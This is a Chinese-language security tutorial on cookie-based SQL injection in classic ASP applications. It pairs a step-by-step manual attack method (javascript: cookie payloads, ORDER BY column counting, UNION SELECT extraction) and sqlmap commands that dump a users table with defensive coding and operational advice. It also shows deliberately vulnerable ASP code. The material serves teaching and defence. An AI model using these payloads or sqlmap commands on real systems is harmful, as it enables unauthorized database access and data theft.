ASP Request对象Cookie注入：手工检测与自动化工具实战指南
1. 理解Cookie注入的本质与ASP Request对象机制
Cookie注入是一种特殊形式的SQL注入攻击，它利用了Web应用程序对Cookie数据处理不当的漏洞。与传统的GET/POST注入不同，这种攻击方式通过修改客户端Cookie中的参数值来实施注入，往往能绕过常规的防护措施。
在ASP环境中，Request对象的数据获取机制是这类漏洞产生的核心原因。当开发者使用简化的Request("参数名")方式获取数据时，ASP会按照以下顺序搜索参数值：
- QueryString（GET参数）
- Form（POST参数）
- Cookies
- ServerVariables
这种设计初衷是为了简化代码编写，但却带来了安全隐患。许多防护系统只检测GET和POST参数，而忽略了Cookie中的数据验证，使得攻击者有机可乘。
典型漏洞代码示例：
<% id = Request("id") ' 危险写法：未指定具体集合 sql = "SELECT * FROM articles WHERE id=" & id %>相比之下，安全的写法应该明确指定数据来源：
<% id = Request.QueryString("id") ' 安全写法：明确指定QueryString ' 或者 id = Request.Cookies("id") ' 安全写法：明确指定Cookies %>2. 手工检测Cookie注入的五步方法论
2.1 第一步：识别潜在注入点
寻找形如.asp?id=123的URL参数，这类动态页面往往与数据库交互。通过以下方法确认参数是否直接影响页面内容：
- 访问带参数的URL（如
page.asp?id=123），记录页面内容 - 移除参数访问（如
page.asp），对比页面差异 - 如果页面显示异常，说明参数确实参与数据查询
2.2 第二步：验证Request对象使用方式
在浏览器地址栏执行以下JavaScript代码（以Chrome为例）：
javascript:alert(document.cookie="id="+escape("test123"));然后访问原URL（如page.asp）。如果页面正常显示，说明应用程序使用了Request("id")方式获取数据，存在潜在风险。
2.3 第三步：基础漏洞验证
使用经典的1=1和1=2逻辑测试：
// 正常情况测试 javascript:alert(document.cookie="id="+escape("123 and 1=1")); // 异常情况测试 javascript:alert(document.cookie="id="+escape("123 and 1=2"));对比两次访问的页面差异。如果第一次正常显示而第二次异常，基本可确认存在注入漏洞。
2.4 第四步：确定字段数量
通过order by子句确定查询涉及的字段数：
// 测试字段数量 javascript:alert(document.cookie="id="+escape("123 order by 5")); // 逐步减少数字直到页面正常显示当order by N导致页面异常时，说明字段数为N-1。这是后续构造union查询的重要基础。
2.5 第五步：实施完整注入
获取数据库信息的典型payload结构：
// 获取当前数据库用户和版本 javascript:alert(document.cookie="id="+escape("-1 union select 1,user(),version(),4")); // 获取所有表名 javascript:alert(document.cookie="id="+escape("-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()"));注意：实际注入时需要根据字段数和具体环境调整select语句结构。不同数据库系统的语法可能略有差异。
3. 自动化工具检测：以sqlmap为例
3.1 基础检测命令
当手工确认存在注入点后，可以使用sqlmap进行自动化检测：
sqlmap -u "http://target.com/page.asp" --cookie="id=123" --level=2 --risk=2关键参数说明：
--level=2：启用Cookie注入检测--risk=2：中等风险级别，启用更多测试类型
3.2 获取数据库信息
# 获取所有数据库 sqlmap -u "http://target.com/page.asp" --cookie="id=123" --dbs # 获取当前数据库表 sqlmap -u "http://target.com/page.asp" --cookie="id=123" --tables # 获取指定表字段 sqlmap -u "http://target.com/page.asp" --cookie="id=123" -T users --columns3.3 数据提取技巧
# 导出整张表数据 sqlmap -u "http://target.com/page.asp" --cookie="id=123" -T users --dump # 使用盲注技术（当常规注入失效时） sqlmap -u "http://target.com/page.asp" --cookie="id=123" --technique=B --batch4. 手工与自动化检测对比分析
| 检测方式 | 优势 | 局限性 | 适用场景 |
|---|---|---|---|
| 手工检测 |
|
|
|
| 自动化工具 |
|
|
|
5. 防御措施与最佳实践
5.1 开发层面的防护
明确指定Request集合：
' 不安全 id = Request("id") ' 安全 id = Request.QueryString("id")参数化查询：
Set cmd = Server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandText = "SELECT * FROM products WHERE id = ?" cmd.Parameters.Append cmd.CreateParameter("@id", adInteger, adParamInput, , id) Set rs = cmd.Execute输入验证与过滤：
Function SafeInput(input) SafeInput = Replace(input, "'", "''") SafeInput = Replace(SafeInput, ";", "") ' 添加更多过滤规则... End Function
5.2 运维层面的加固
- 部署WAF（Web应用防火墙）并定期更新规则
- 限制数据库账户权限，遵循最小权限原则
- 定期进行安全扫描和渗透测试
- 启用数据库操作日志审计
5.3 应急响应建议
当发现Cookie注入漏洞时，建议采取以下措施：
- 立即修复漏洞代码
- 检查数据库日志，确认是否有数据泄露
- 重置可能受影响用户的会话令牌
- 必要时进行数据泄露通知
在实际项目中，我曾遇到一个案例：某电商网站使用Request("userid")方式获取用户ID，导致攻击者可以通过修改Cookie中的userid值越权访问其他用户信息。通过明确改为Request.Cookies("userid")并添加权限验证，最终解决了这一问题。
